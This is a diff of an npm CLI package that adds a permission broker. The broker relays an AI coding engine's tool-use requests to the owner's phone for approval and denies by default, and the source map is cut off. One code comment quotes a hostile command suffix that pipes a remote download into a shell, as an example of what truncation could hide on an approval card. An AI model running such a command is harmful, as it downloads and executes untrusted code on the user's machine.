@relaymessenger/cli 0.3.0

package/dist/permissions.js

@@ -0,0 +1,342 @@
+/**
+ * Permission broker: turns an engine permission ask into a Relay card and
+ * blocks until the phone answers (or the window expires → deny).
+ *
+ * Wire shape is shared with the Claude Code channel plugin
+ * (integrations/claude-code/src/bridge.ts): one Relay message with a
+ * human-readable text part (including the "yes <id>" / "no <id>" text
+ * fallback) plus a `data` part
+ *   { kind: "agent_permission_request", request_id, tool_name, description,
+ *     input_preview, options: [{ id: "allow"|"deny", label,
+ *     origin: { kind, request_id } }] }
+ * and the same tolerant reply parser (origin-tagged data-part tap or text
+ * fallback). Request ids use Claude Code's 5-char [a-km-z] alphabet.
+ *
+ * Pending approvals are durable resources, not in-memory callback state: each
+ * ask is created (create-once) in the paired account runtime's approvals/
+ * BEFORE the Relay card is posted; the loop writes the resolution when the
+ * tap arrives, and the waiter (this broker's ACP path, or the codex hook in
+ * another process) consumes it by unlinking the file. In-window entries stay
+ * armed across restarts so a late tap is consumed instead of being forwarded
+ * to the engine as a prompt; abandoned files age out after deadline + grace.
+ */
+import { randomInt } from "node:crypto";
+import { engineDisplayName } from "./engine/catalog.js";
+export const APPROVAL_TIMEOUT_MS = 10 * 60 * 1000;
+export const PERMISSION_CARD_KIND = "agent_permission_request";
+/** Claude Code request-id alphabet: five lowercase letters, never "l". */
+const REQUEST_ID_ALPHABET = "abcdefghijkmnopqrstuvwxyz";
+const REQUEST_ID_RE = /^[a-km-z]{5}$/;
+export const PERMISSION_REPLY_RE = /^\s*(y|yes|n|no)\s+([a-km-z]{5})\s*$/i;
+export function newRequestId() {
+    let id = "";
+    for (let i = 0; i < 5; i += 1) {
+        id += REQUEST_ID_ALPHABET[randomInt(REQUEST_ID_ALPHABET.length)];
+    }
+    return id;
+}
+export function parseVerdictText(text) {
+    const m = PERMISSION_REPLY_RE.exec(text);
+    if (!m)
+        return null;
+    return {
+        request_id: m[2].toLowerCase(),
+        behavior: m[1].toLowerCase().startsWith("y") ? "allow" : "deny",
+    };
+}
+function normalizeBehavior(value) {
+    if (typeof value !== "string")
+        return null;
+    const v = value.trim().toLowerCase();
+    if (v === "allow" || v === "yes" || v === "y" || v === "approve")
+        return "allow";
+    if (v === "deny" || v === "no" || v === "n" || v === "reject")
+        return "deny";
+    return null;
+}
+/**
+ * Parses an origin-tagged option tap carried in a `data` part. Accepted
+ * shapes, checked in order (identical to the channel plugin):
+ *
+ *   { origin: { kind: "agent_permission_request", request_id }, option_id }
+ *   { origin: { request_id }, option: "allow" | "deny" }
+ *   { kind: "agent_permission_request", request_id, behavior | option_id }
+ */
+export function parseVerdictDataPart(data) {
+    if (typeof data !== "object" || data === null)
+        return null;
+    const record = data;
+    let requestId;
+    const origin = record.origin;
+    if (typeof origin === "object" && origin !== null) {
+        requestId = origin.request_id;
+    }
+    if (typeof requestId !== "string")
+        requestId = record.request_id;
+    if (typeof requestId !== "string")
+        return null;
+    const id = requestId.toLowerCase();
+    if (!REQUEST_ID_RE.test(id))
+        return null;
+    const behavior = normalizeBehavior(record.option_id) ??
+        normalizeBehavior(record.option) ??
+        normalizeBehavior(record.choice) ??
+        normalizeBehavior(record.behavior);
+    if (!behavior)
+        return null;
+    return { request_id: id, behavior };
+}
+/** Extracts a verdict from a user message: data-part tap first, then text. */
+export function verdictFromMessage(message) {
+    for (const part of message.parts) {
+        if (part.type !== "data")
+            continue;
+        const verdict = parseVerdictDataPart(part.data);
+        if (verdict)
+            return verdict;
+    }
+    const text = message.parts
+        .filter((part) => part.type === "text" && typeof part.text === "string" && part.text.length > 0)
+        .map((part) => part.text)
+        .join("\n");
+    return parseVerdictText(text.length > 0 ? text : message.fallback_text ?? "");
+}
+const MAX_DESCRIPTION_CHARS = 500;
+export const MAX_PERMISSION_PREVIEW_CHARS = 6_000;
+export class PermissionPreviewTooLongError extends Error {
+    actualChars;
+    constructor(actualChars) {
+        super(`permission input is ${actualChars} characters; Relay only permits approval when the full ` +
+            `${MAX_PERMISSION_PREVIEW_CHARS}-character security preview can be shown`);
+        this.actualChars = actualChars;
+        this.name = "PermissionPreviewTooLongError";
+    }
+}
+/** Same defense-in-depth sanitization as the channel plugin. */
+export function sanitizeRelayedText(value, maxChars) {
+    const cleaned = value
+        .replace(/[\u200b-\u200f\u2028-\u202e\u2066-\u2069\ufeff]/g, "")
+        .replace(/[\u0000-\u0008\u000b\u000c\u000e-\u001f\u007f-\u009f]/g, "")
+        .replace(/\s+/g, " ")
+        .trim();
+    return clampHeadTail(cleaned, maxChars);
+}
+/**
+ * Over-limit values keep head + tail with an explicit omission marker: a
+ * plain head truncation lets a hostile suffix (`… && curl evil | sh`) hide
+ * behind the ellipsis on the approval card.
+ */
+export function clampHeadTail(value, maxChars) {
+    if (value.length <= maxChars)
+        return value;
+    const tailChars = Math.min(300, Math.floor(maxChars / 4));
+    const marker = ` […${value.length - maxChars} of ${value.length} chars omitted…] `;
+    const headChars = Math.max(1, maxChars - tailChars - marker.length);
+    return `${value.slice(0, headChars)}${marker}${value.slice(value.length - tailChars)}`;
+}
+/**
+ * Security-sensitive tool input is never truncated. If it cannot fit in the
+ * approval card, the caller must deny instead of asking the owner to approve
+ * an operation with concealed content.
+ */
+export function sanitizePermissionPreview(value) {
+    const cleaned = value
+        .replace(/\r\n?/g, "\n")
+        .replace(/[\u200b-\u200f\u2028-\u202e\u2066-\u2069\ufeff]/g, "")
+        .replace(/[\u0000-\u0008\u000b\u000c\u000e-\u001f\u007f-\u009f]/g, "")
+        .trim();
+    if (cleaned.length > MAX_PERMISSION_PREVIEW_CHARS) {
+        throw new PermissionPreviewTooLongError(cleaned.length);
+    }
+    return cleaned;
+}
+export function buildPermissionCard(input) {
+    const toolName = sanitizeRelayedText(input.toolName ?? "", 100) || "a tool";
+    const description = sanitizeRelayedText(input.description ?? "", MAX_DESCRIPTION_CHARS);
+    const inputPreview = sanitizePermissionPreview(input.inputPreview ?? "");
+    const id = input.requestId;
+    const lines = [
+        `${input.engineLabel} wants to run ${toolName}${description ? `: ${description}` : ""}`,
+    ];
+    if (inputPreview.length > 0)
+        lines.push("", inputPreview);
+    lines.push("", `Reply "yes ${id}" to allow or "no ${id}" to deny.`);
+    return {
+        body: {
+            conversation_id: input.conversationId,
+            parts: [
+                { type: "text", text: lines.join("\n") },
+                {
+                    type: "data",
+                    data: {
+                        kind: PERMISSION_CARD_KIND,
+                        request_id: id,
+                        tool_name: toolName,
+                        description,
+                        input_preview: inputPreview,
+                        options: [
+                            { id: "allow", label: "Allow", origin: { kind: PERMISSION_CARD_KIND, request_id: id } },
+                            { id: "deny", label: "Deny", origin: { kind: PERMISSION_CARD_KIND, request_id: id } },
+                        ],
+                    },
+                },
+            ],
+            // Chip text IS the sent text, so the chips carry the parseable fallback.
+            suggestions: [{ text: `yes ${id}` }, { text: `no ${id}` }],
+        },
+        idempotencyKey: `agent-perm-${id}`,
+    };
+}
+/** Maps a binary verdict back onto the engine's richer option set. */
+export function decisionForVerdict(approval, behavior) {
+    const prefix = behavior === "allow" ? "allow" : "reject";
+    const exact = approval.options.find((option) => option.kind === `${prefix}_once`);
+    const fuzzy = approval.options.find((option) => option.kind?.startsWith(prefix));
+    const chosen = exact ?? fuzzy;
+    if (chosen)
+        return { behavior: "selected", optionId: chosen.option_id };
+    return behavior === "allow" && approval.options[0]
+        ? { behavior: "selected", optionId: approval.options[0].option_id }
+        : { behavior: "cancelled" };
+}
+export function denyDecision(approval) {
+    return decisionForVerdict(approval, "deny");
+}
+export class PermissionBroker {
+    client;
+    approvals;
+    timeoutMs;
+    log;
+    waiters = new Map();
+    constructor(client, approvals, timeoutMs = APPROVAL_TIMEOUT_MS, log = () => { }) {
+        this.client = client;
+        this.approvals = approvals;
+        this.timeoutMs = timeoutMs;
+        this.log = log;
+    }
+    /**
+     * Age out abandoned approval files. Files with an unconsumed resolution are
+     * owned by a waiter in another process (e.g. a codex hook) and survive
+     * until their deadline + grace window; only clearly-dead entries go.
+     */
+    sweep(now = Date.now()) {
+        for (const requestId of this.approvals.sweep(now)) {
+            this.log(`aged out abandoned approval ${requestId}`);
+        }
+    }
+    /**
+     * Called by the receive loop for every inbound owner message. Returns true
+     * when the message answered a pending approval and must NOT be forwarded to
+     * the engine as a prompt.
+     */
+    consumeReply(message) {
+        const verdict = verdictFromMessage(message);
+        if (!verdict)
+            return false;
+        const approval = this.approvals.get(verdict.request_id);
+        if (!approval || approval.resolution) {
+            // A verdict-shaped reply with no live ask is still consumed: it must
+            // never become an engine prompt.
+            return true;
+        }
+        // A verdict only counts from the conversation that was asked.
+        if (approval.conversation_id !== message.conversation_id) {
+            this.log(`verdict for ${verdict.request_id} from wrong conversation ` +
+                `${message.conversation_id} (expected ${approval.conversation_id}) — ignored`);
+            return true;
+        }
+        const waiter = this.waiters.get(verdict.request_id);
+        if (waiter) {
+            // Our own ask: resolve in-process and consume the file.
+            clearTimeout(waiter.timer);
+            this.waiters.delete(verdict.request_id);
+            this.approvals.consume(verdict.request_id);
+            waiter.resolve(decisionForVerdict(approval, verdict.behavior));
+        }
+        else {
+            // Armed by another process (codex hook): write the resolution for its
+            // waiter to consume. Single writer per file — the hook only unlinks.
+            approval.resolution = { behavior: verdict.behavior, decided_at: new Date().toISOString() };
+            this.approvals.put(approval);
+        }
+        this.log(`approval ${verdict.request_id} resolved: ${verdict.behavior}`);
+        return true;
+    }
+    /** Post the card and block until tap or timeout→deny. */
+    async ask(conversationId, askInput, engine) {
+        const requestId = newRequestId();
+        const approval = {
+            request_id: requestId,
+            conversation_id: conversationId,
+            engine,
+            tool_name: askInput.toolName,
+            created_at: new Date().toISOString(),
+            deadline_at: new Date(Date.now() + this.timeoutMs).toISOString(),
+            options: askInput.options.map((option) => ({
+                option_id: option.optionId,
+                label: option.label,
+                kind: option.kind,
+            })),
+            source: "acp",
+        };
+        if (askInput.inputComplete === false) {
+            this.log(`approval ${requestId} denied before posting: raw operation unavailable`);
+            return denyDecision(approval);
+        }
+        let card;
+        try {
+            card = buildPermissionCard({
+                requestId,
+                conversationId,
+                engineLabel: engineDisplayName(engine),
+                toolName: askInput.toolName,
+                description: askInput.title,
+                inputPreview: askInput.inputPreview,
+            });
+        }
+        catch (error) {
+            // Never ask the owner to approve a partially represented operation.
+            this.log(`approval ${requestId} denied before posting: ${error}`);
+            return denyDecision(approval);
+        }
+        // Durable (create-once) before the card goes out.
+        this.approvals.create(approval);
+        // Arm the waiter BEFORE the card goes out: a fast tap can race the POST's
+        // response, and a verdict that lands before the waiter exists would
+        // otherwise be recorded as a file resolution that this promise then
+        // overwrites — or worse, timeout-denied after the user already allowed.
+        const decision = new Promise((resolve) => {
+            const timer = setTimeout(() => {
+                this.waiters.delete(requestId);
+                this.approvals.consume(requestId);
+                this.log(`approval ${requestId} timed out → deny`);
+                resolve(denyDecision(approval));
+            }, this.timeoutMs);
+            // The engine is awaiting this decision; the timeout must keep the
+            // process alive so every unanswered ask deterministically denies.
+            this.waiters.set(requestId, { approval, resolve, timer });
+        });
+        try {
+            const posted = await this.client.postMessage(card.body, card.idempotencyKey);
+            // The waiter may already have resolved (fast tap): only annotate while
+            // the approval file is still ours.
+            if (this.waiters.has(requestId)) {
+                approval.relay_message_id = posted.message_id;
+                this.approvals.put(approval);
+            }
+        }
+        catch (error) {
+            // Card never reached the phone: withdraw the ask and deny.
+            const waiter = this.waiters.get(requestId);
+            if (waiter) {
+                clearTimeout(waiter.timer);
+                this.waiters.delete(requestId);
+                this.approvals.consume(requestId);
+                this.log(`approval ${requestId} card post failed → deny: ${error}`);
+                waiter.resolve(denyDecision(approval));
+            }
+        }
+        return await decision;
+    }
+}
+//# sourceMappingURL=permissions.js.map

package/dist/permissions.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"permissions.js","sourceRoot":"","sources":["../src/permissions.ts"],"names":[],"mappings":"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